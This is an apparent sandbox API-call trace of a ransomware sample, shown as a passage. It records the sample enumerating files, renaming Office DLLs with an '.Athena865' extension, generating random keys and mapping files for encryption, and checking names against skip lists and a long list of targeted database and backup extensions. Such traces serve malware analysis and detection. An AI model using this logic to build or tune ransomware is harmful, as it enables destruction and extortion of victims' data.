[0075.410] lstrlenW (lpString=".lnk") returned 4 [0075.410] lstrcmpiW (lpString1="MORPH9.DLL", lpString2=".lnk") returned 1 [0075.410] lstrlenW (lpString=".ini") returned 4 [0075.410] lstrcmpiW (lpString1="MORPH9.DLL", lpString2=".ini") returned 1 [0075.410] lstrlenW (lpString=".sys") returned 4 [0075.410] lstrcmpiW (lpString1="MORPH9.DLL", lpString2=".sys") returned 1 [0075.410] lstrlenW (lpString="MORPH9.DLL") returned 10 [0075.410] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MORPH9.DLL.Athena865") returned 63 [0075.410] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MORPH9.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\morph9.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MORPH9.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\morph9.dll.athena865"), dwFlags=0x1) returned 1 [0075.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MORPH9.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\morph9.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.411] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=632720) returned 1 [0075.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.412] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.412] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.412] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.413] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9aa90, lpName=0x0) returned 0x17c [0075.414] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9aa90) returned 0x2d50000 [0075.440] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.441] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.441] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.442] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.442] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0075.448] CloseHandle (hObject=0x17c) returned 1 [0075.448] CloseHandle (hObject=0x154) returned 1 [0075.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.451] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82755f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x32960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MPXINT.DLL", cAlternateFileName="")) returned 1 [0075.451] lstrcmpiW (lpString1="MPXINT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.451] lstrcmpiW (lpString1="MPXINT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.451] lstrcmpiW (lpString1="MPXINT.DLL", lpString2=".") returned 1 [0075.451] lstrcmpiW (lpString1="MPXINT.DLL", lpString2="..") returned 1 [0075.451] lstrcmpiW (lpString1="MPXINT.DLL", lpString2="windows") returned -1 [0075.451] lstrcmpiW (lpString1="MPXINT.DLL", lpString2="bootmgr") returned 1 [0075.451] lstrcmpiW (lpString1="MPXINT.DLL", lpString2="temp") returned -1 [0075.451] lstrcmpiW (lpString1="MPXINT.DLL", lpString2="pagefile.sys") returned -1 [0075.451] lstrcmpiW (lpString1="MPXINT.DLL", lpString2="boot") returned 1 [0075.451] lstrcmpiW (lpString1="MPXINT.DLL", lpString2="ids.txt") returned 1 [0075.451] lstrcmpiW (lpString1="MPXINT.DLL", lpString2="ntuser.dat") returned -1 [0075.451] lstrcmpiW (lpString1="MPXINT.DLL", lpString2="perflogs") returned -1 [0075.451] lstrcmpiW (lpString1="MPXINT.DLL", lpString2="MSBuild") returned -1 [0075.451] lstrlenW (lpString="MPXINT.DLL") returned 10 [0075.451] lstrcpyW (in: lpString1=0x241e89e, lpString2="MPXINT.DLL" | out: lpString1="MPXINT.DLL") returned="MPXINT.DLL" [0075.451] lstrlenW (lpString="MPXINT.DLL") returned 10 [0075.451] lstrlenW (lpString="Athena865") returned 9 [0075.451] lstrcmpiW (lpString1="PXINT.DLL", lpString2="Athena865") returned 1 [0075.451] lstrlenW (lpString=".dll") returned 4 [0075.451] lstrcmpiW (lpString1="MPXINT.DLL", lpString2=".dll") returned 1 [0075.451] lstrlenW (lpString=".lnk") returned 4 [0075.451] lstrcmpiW (lpString1="MPXINT.DLL", lpString2=".lnk") returned 1 [0075.451] lstrlenW (lpString=".ini") returned 4 [0075.451] lstrcmpiW (lpString1="MPXINT.DLL", lpString2=".ini") returned 1 [0075.451] lstrlenW (lpString=".sys") returned 4 [0075.451] lstrcmpiW (lpString1="MPXINT.DLL", lpString2=".sys") returned 1 [0075.451] lstrlenW (lpString="MPXINT.DLL") returned 10 [0075.451] lstrlenW (lpString="bak") returned 3 [0075.451] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0075.451] lstrlenW (lpString="ba_") returned 3 [0075.452] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0075.452] lstrlenW (lpString="dbb") returned 3 [0075.452] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0075.452] lstrlenW (lpString="vmdk") returned 4 [0075.452] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0075.452] lstrlenW (lpString="rar") returned 3 [0075.452] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0075.452] lstrlenW (lpString="zip") returned 3 [0075.452] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0075.452] lstrlenW (lpString="tgz") returned 3 [0075.452] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0075.452] lstrlenW (lpString="vbox") returned 4 [0075.452] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0075.452] lstrlenW (lpString="vdi") returned 3 [0075.452] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0075.452] lstrlenW (lpString="vhd") returned 3 [0075.452] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0075.452] lstrlenW (lpString="vhdx") returned 4 [0075.452] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0075.452] lstrlenW (lpString="avhd") returned 4 [0075.452] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0075.452] lstrlenW (lpString="db") returned 2 [0075.452] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0075.452] lstrlenW (lpString="db2") returned 3 [0075.452] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0075.452] lstrlenW (lpString="db3") returned 3 [0075.452] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0075.452] lstrlenW (lpString="dbf") returned 3 [0075.452] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0075.452] lstrlenW (lpString="mdf") returned 3 [0075.452] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0075.452] lstrlenW (lpString="mdb") returned 3 [0075.453] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0075.453] lstrlenW (lpString="sql") returned 3 [0075.453] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0075.453] lstrlenW (lpString="sqlite") returned 6 [0075.453] lstrcmpiW (lpString1="NT.DLL", lpString2="sqlite") returned -1 [0075.453] lstrlenW (lpString="sqlite3") returned 7 [0075.453] lstrcmpiW (lpString1="INT.DLL", lpString2="sqlite3") returned -1 [0075.453] lstrlenW (lpString="sqlitedb") returned 8 [0075.453] lstrcmpiW (lpString1="XINT.DLL", lpString2="sqlitedb") returned 1 [0075.453] lstrlenW (lpString="xml") returned 3 [0075.453] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0075.453] lstrlenW (lpString="$er") returned 3 [0075.453] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0075.453] lstrlenW (lpString="4dd") returned 3 [0075.453] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0075.453] lstrlenW (lpString="4dl") returned 3 [0075.453] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0075.453] lstrlenW (lpString="^^^") returned 3 [0075.453] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0075.453] lstrlenW (lpString="abs") returned 3 [0075.453] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0075.453] lstrlenW (lpString="abx") returned 3 [0075.453] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0075.453] lstrlenW (lpString="accdb") returned 5 [0075.453] lstrcmpiW (lpString1="T.DLL", lpString2="accdb") returned 1 [0075.453] lstrlenW (lpString="accdc") returned 5 [0075.453] lstrcmpiW (lpString1="T.DLL", lpString2="accdc") returned 1 [0075.453] lstrlenW (lpString="accde") returned 5 [0075.453] lstrcmpiW (lpString1="T.DLL", lpString2="accde") returned 1 [0075.453] lstrlenW (lpString="accdr") returned 5 [0075.453] lstrcmpiW (lpString1="T.DLL", lpString2="accdr") returned 1 [0075.453] lstrlenW (lpString="accdt") returned 5 [0075.454] lstrcmpiW (lpString1="T.DLL", lpString2="accdt") returned 1 [0075.454] lstrlenW (lpString="accdw") returned 5 [0075.454] lstrcmpiW (lpString1="T.DLL", lpString2="accdw") returned 1 [0075.454] lstrlenW (lpString="accft") returned 5 [0075.454] lstrcmpiW (lpString1="T.DLL", lpString2="accft") returned 1 [0075.454] lstrlenW (lpString="adb") returned 3 [0075.454] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0075.454] lstrlenW (lpString="adb") returned 3 [0075.454] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0075.454] lstrlenW (lpString="ade") returned 3 [0075.454] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0075.454] lstrlenW (lpString="adf") returned 3 [0075.454] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0075.454] lstrlenW (lpString="adn") returned 3 [0075.454] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0075.454] lstrlenW (lpString="adp") returned 3 [0075.454] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0075.454] lstrlenW (lpString="alf") returned 3 [0075.454] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0075.454] lstrlenW (lpString="ask") returned 3 [0075.454] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0075.454] lstrlenW (lpString="btr") returned 3 [0075.454] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0075.454] lstrlenW (lpString="cat") returned 3 [0075.454] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0075.454] lstrlenW (lpString="cdb") returned 3 [0075.454] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0075.454] lstrlenW (lpString="ckp") returned 3 [0075.454] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0075.454] lstrlenW (lpString="cma") returned 3 [0075.454] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0075.454] lstrlenW (lpString="cpd") returned 3 [0075.455] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0075.455] lstrlenW (lpString="dacpac") returned 6 [0075.455] lstrcmpiW (lpString1="NT.DLL", lpString2="dacpac") returned 1 [0075.455] lstrlenW (lpString="dad") returned 3 [0075.455] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0075.455] lstrlenW (lpString="dadiagrams") returned 10 [0075.455] lstrlenW (lpString="daschema") returned 8 [0075.455] lstrcmpiW (lpString1="XINT.DLL", lpString2="daschema") returned 1 [0075.455] lstrlenW (lpString="db-journal") returned 10 [0075.455] lstrlenW (lpString="db-shm") returned 6 [0075.455] lstrcmpiW (lpString1="NT.DLL", lpString2="db-shm") returned 1 [0075.455] lstrlenW (lpString="db-wal") returned 6 [0075.455] lstrcmpiW (lpString1="NT.DLL", lpString2="db-wal") returned 1 [0075.455] lstrlenW (lpString="dbc") returned 3 [0075.455] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0075.455] lstrlenW (lpString="dbs") returned 3 [0075.455] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0075.455] lstrlenW (lpString="dbt") returned 3 [0075.455] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0075.455] lstrlenW (lpString="dbv") returned 3 [0075.455] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0075.455] lstrlenW (lpString="dbx") returned 3 [0075.455] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0075.455] lstrlenW (lpString="dcb") returned 3 [0075.455] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0075.455] lstrlenW (lpString="dct") returned 3 [0075.455] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0075.455] lstrlenW (lpString="dcx") returned 3 [0075.455] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0075.455] lstrlenW (lpString="ddl") returned 3 [0075.455] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0075.455] lstrlenW (lpString="dlis") returned 4 [0075.456] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0075.456] lstrlenW (lpString="dp1") returned 3 [0075.456] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0075.456] lstrlenW (lpString="dqy") returned 3 [0075.456] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0075.456] lstrlenW (lpString="dsk") returned 3 [0075.456] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0075.456] lstrlenW (lpString="dsn") returned 3 [0075.456] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0075.456] lstrlenW (lpString="dtsx") returned 4 [0075.456] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0075.456] lstrlenW (lpString="dxl") returned 3 [0075.456] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0075.456] lstrlenW (lpString="eco") returned 3 [0075.456] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0075.456] lstrlenW (lpString="ecx") returned 3 [0075.456] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0075.456] lstrlenW (lpString="edb") returned 3 [0075.456] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0075.456] lstrlenW (lpString="epim") returned 4 [0075.456] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0075.456] lstrlenW (lpString="fcd") returned 3 [0075.456] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0075.456] lstrlenW (lpString="fdb") returned 3 [0075.456] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0075.456] lstrlenW (lpString="fic") returned 3 [0075.456] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0075.456] lstrlenW (lpString="flexolibrary") returned 12 [0075.456] lstrlenW (lpString="fm5") returned 3 [0075.456] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0075.456] lstrlenW (lpString="fmp") returned 3 [0075.456] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0075.456] lstrlenW (lpString="fmp12") returned 5 [0075.457] lstrcmpiW (lpString1="T.DLL", lpString2="fmp12") returned 1 [0075.457] lstrlenW (lpString="fmpsl") returned 5 [0075.457] lstrcmpiW (lpString1="T.DLL", lpString2="fmpsl") returned 1 [0075.457] lstrlenW (lpString="fol") returned 3 [0075.457] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0075.457] lstrlenW (lpString="fp3") returned 3 [0075.457] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0075.457] lstrlenW (lpString="fp4") returned 3 [0075.457] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0075.457] lstrlenW (lpString="fp5") returned 3 [0075.457] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0075.457] lstrlenW (lpString="fp7") returned 3 [0075.457] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0075.457] lstrlenW (lpString="fpt") returned 3 [0075.457] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0075.457] lstrlenW (lpString="frm") returned 3 [0075.457] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0075.457] lstrlenW (lpString="gdb") returned 3 [0075.457] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0075.457] lstrlenW (lpString="gdb") returned 3 [0075.457] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0075.457] lstrlenW (lpString="grdb") returned 4 [0075.457] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0075.457] lstrlenW (lpString="gwi") returned 3 [0075.457] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0075.457] lstrlenW (lpString="hdb") returned 3 [0075.457] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0075.457] lstrlenW (lpString="his") returned 3 [0075.457] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0075.457] lstrlenW (lpString="ib") returned 2 [0075.457] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0075.457] lstrlenW (lpString="idb") returned 3 [0075.457] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0075.457] lstrlenW (lpString="ihx") returned 3 [0075.458] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0075.458] lstrlenW (lpString="itdb") returned 4 [0075.458] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0075.458] lstrlenW (lpString="itw") returned 3 [0075.458] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0075.458] lstrlenW (lpString="jet") returned 3 [0075.458] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0075.458] lstrlenW (lpString="jtx") returned 3 [0075.458] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0075.458] lstrlenW (lpString="kdb") returned 3 [0075.458] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0075.458] lstrlenW (lpString="kexi") returned 4 [0075.458] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0075.458] lstrlenW (lpString="kexic") returned 5 [0075.458] lstrcmpiW (lpString1="T.DLL", lpString2="kexic") returned 1 [0075.458] lstrlenW (lpString="kexis") returned 5 [0075.458] lstrcmpiW (lpString1="T.DLL", lpString2="kexis") returned 1 [0075.458] lstrlenW (lpString="lgc") returned 3 [0075.458] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0075.458] lstrlenW (lpString="lwx") returned 3 [0075.458] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0075.458] lstrlenW (lpString="maf") returned 3 [0075.458] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0075.458] lstrlenW (lpString="maq") returned 3 [0075.458] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0075.458] lstrlenW (lpString="mar") returned 3 [0075.458] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0075.458] lstrlenW (lpString="marshal") returned 7 [0075.458] lstrcmpiW (lpString1="INT.DLL", lpString2="marshal") returned -1 [0075.458] lstrlenW (lpString="mas") returned 3 [0075.458] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0075.458] lstrlenW (lpString="mav") returned 3 [0075.458] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0075.459] lstrlenW (lpString="maw") returned 3 [0075.459] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0075.459] lstrlenW (lpString="mdbhtml") returned 7 [0075.459] lstrcmpiW (lpString1="INT.DLL", lpString2="mdbhtml") returned -1 [0075.459] lstrlenW (lpString="mdn") returned 3 [0075.459] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0075.459] lstrlenW (lpString="mdt") returned 3 [0075.459] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0075.459] lstrlenW (lpString="mfd") returned 3 [0075.459] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0075.459] lstrlenW (lpString="mpd") returned 3 [0075.459] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0075.459] lstrlenW (lpString="mrg") returned 3 [0075.459] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0075.459] lstrlenW (lpString="mud") returned 3 [0075.459] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0075.459] lstrlenW (lpString="mwb") returned 3 [0075.459] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0075.459] lstrlenW (lpString="myd") returned 3 [0075.459] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0075.459] lstrlenW (lpString="ndf") returned 3 [0075.459] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0075.459] lstrlenW (lpString="nnt") returned 3 [0075.459] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0075.459] lstrlenW (lpString="nrmlib") returned 6 [0075.459] lstrcmpiW (lpString1="NT.DLL", lpString2="nrmlib") returned 1 [0075.459] lstrlenW (lpString="ns2") returned 3 [0075.459] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0075.460] lstrlenW (lpString="ns3") returned 3 [0075.460] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0075.460] lstrlenW (lpString="ns4") returned 3 [0075.460] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0075.460] lstrlenW (lpString="nsf") returned 3 [0075.460] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0075.460] lstrlenW (lpString="nv") returned 2 [0075.460] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0075.460] lstrlenW (lpString="nv2") returned 3 [0075.460] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0075.460] lstrlenW (lpString="nwdb") returned 4 [0075.460] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0075.460] lstrlenW (lpString="nyf") returned 3 [0075.460] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0075.460] lstrlenW (lpString="odb") returned 3 [0075.460] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0075.460] lstrlenW (lpString="odb") returned 3 [0075.460] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0075.460] lstrlenW (lpString="oqy") returned 3 [0075.460] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0075.460] lstrlenW (lpString="ora") returned 3 [0075.460] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0075.460] lstrlenW (lpString="orx") returned 3 [0075.460] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0075.460] lstrlenW (lpString="owc") returned 3 [0075.460] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0075.460] lstrlenW (lpString="p96") returned 3 [0075.460] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0075.460] lstrlenW (lpString="p97") returned 3 [0075.460] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0075.460] lstrlenW (lpString="pan") returned 3 [0075.460] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0075.461] lstrlenW (lpString="pdb") returned 3 [0075.461] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0075.461] lstrlenW (lpString="pdm") returned 3 [0075.461] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0075.461] lstrlenW (lpString="pnz") returned 3 [0075.461] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0075.461] lstrlenW (lpString="qry") returned 3 [0075.461] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0075.461] lstrlenW (lpString="qvd") returned 3 [0075.461] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0075.461] lstrlenW (lpString="rbf") returned 3 [0075.461] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0075.461] lstrlenW (lpString="rctd") returned 4 [0075.461] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0075.461] lstrlenW (lpString="rod") returned 3 [0075.461] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0075.461] lstrlenW (lpString="rodx") returned 4 [0075.461] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0075.461] lstrlenW (lpString="rpd") returned 3 [0075.461] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0075.461] lstrlenW (lpString="rsd") returned 3 [0075.461] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0075.461] lstrlenW (lpString="sas7bdat") returned 8 [0075.461] lstrcmpiW (lpString1="XINT.DLL", lpString2="sas7bdat") returned 1 [0075.461] lstrlenW (lpString="sbf") returned 3 [0075.461] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0075.461] lstrlenW (lpString="scx") returned 3 [0075.461] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0075.461] lstrlenW (lpString="sdb") returned 3 [0075.461] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0075.461] lstrlenW (lpString="sdc") returned 3 [0075.461] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0075.461] lstrlenW (lpString="sdf") returned 3 [0075.462] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0075.462] lstrlenW (lpString="sis") returned 3 [0075.462] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0075.462] lstrlenW (lpString="spq") returned 3 [0075.462] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0075.462] lstrlenW (lpString="te") returned 2 [0075.462] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0075.462] lstrlenW (lpString="teacher") returned 7 [0075.462] lstrcmpiW (lpString1="INT.DLL", lpString2="teacher") returned -1 [0075.462] lstrlenW (lpString="tmd") returned 3 [0075.462] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0075.462] lstrlenW (lpString="tps") returned 3 [0075.462] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0075.462] lstrlenW (lpString="trc") returned 3 [0075.462] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0075.462] lstrlenW (lpString="trc") returned 3 [0075.462] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0075.462] lstrlenW (lpString="trm") returned 3 [0075.462] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0075.462] lstrlenW (lpString="udb") returned 3 [0075.462] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0075.462] lstrlenW (lpString="udl") returned 3 [0075.462] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0075.462] 